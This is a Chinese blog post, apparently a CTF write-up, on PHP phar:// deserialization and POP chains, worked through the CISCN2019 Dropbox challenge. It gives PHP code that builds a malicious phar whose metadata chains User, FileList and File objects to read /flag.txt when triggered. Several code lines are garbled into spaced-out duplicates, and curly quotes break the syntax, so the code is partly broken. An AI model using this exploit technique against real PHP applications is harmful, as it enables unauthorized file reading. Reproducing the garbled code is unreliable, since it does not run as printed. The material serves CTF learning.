pop链构造和phar://协议

phar类似java中的jar包,是一种压缩包。可以对php项目进行打包成 .phar类型的文件,也可以把某个功能模块打包直接发布。
1.配置
要想使用phar文件,必须将phar.readonly配置项配置为0或Off

<?php class B{ public function __destruct(){ echo $this -> name; } } $phar = new Phar("test.phar"); $phar -> startBuffering(); $phar -> setStub("<?php __HALT_COMPILER();?>");

$o = new B();
$o ->name = ‘xenny’;
p h a r − > s e t M e t a d a t a ( phar ->setMetadata( phar>setMetadata(o);
$phar ->addFromString(“test.txt”,“test”);
$phar->stopBuffering();
//file_get_contents(‘phar://test.phar/’);

解释说明
$phar = new Phar(“test.phar”); //输出的文件名为test.phar
$phar -> startBuffering(); //开启缓存,往文件写入内容
$phar -> setStub("<?php __HALT_COMPILER();?>"); //设置标志
$o = new B(); //实例化B类
$o ->name = ‘xenny’; //设置B类的属性name的值为xenny
p h a r − > s e t M e t a d a t a ( phar ->setMetadata( phar>setMetadata(o); //设置媒体数据
$phar ->addFromString(“test.txt”,“test”); //将test的数据导入到phar的压缩包test.txt文件当中 //停止缓存,停止文件写入数据

运行结果
生成了一个test.phar压缩包,里面有几个文件。
在这里插入图片描述
metada.bin内容为序列化后的内容
在这里插入图片描述signature.bin里面的内容
在这里插入图片描述stub.php里面的内容
在这里插入图片描述test.txt里面的内容
在这里插入图片描述file_get_contents(‘phar://test.phar/test.txt’); //会进行一次反序列化
在这里插入图片描述实例
[CISCN2019 华北赛区 Day1 Web1]Dropbox
注册一个账号进行登录
在这里插入图片描述发现一个文件上传点
在这里插入图片描述只能上传图片,但上传后发现可以下载
在这里插入图片描述点击下载抓包,看是否存在任意文件下载
在这里插入图片描述
发现可以进行文件包含,利用该漏洞下载源码

在这里插入图片描述进行代码审计。在index.php里面包含了class.php
在这里插入图片描述跟踪class.php查找FileList这个类,但在这个类中没有Name()和Size()这两个方法,但又调用了这两个方法,FileList中存在__call这个方法。
__call方法,在一个对象的上下文中,如果调用的方法不能访问或不存在的时候,它将被触发
在这里插入图片描述__call又会去调用 f i l e − > file-> file>func()这个方法,在File这个类中存在file_get_contents这个关键字
在这里插入图片描述构造pop链,让其到达file_get_contents函数输出flag。
在这里插入图片描述在user类中发现一个close()方法
在这里插入图片描述构造pop链

<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

p h a r − > s e t M e t a d a t a ( phar->setMetadata( phar>setMetadata(a); //将自定义的meta-data存入manifest
$phar->addFromString(“exp.txt”, “test”); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
上传生成的文件,在删除哪里抓包,读取flag.
成功读取flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

g1ory.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值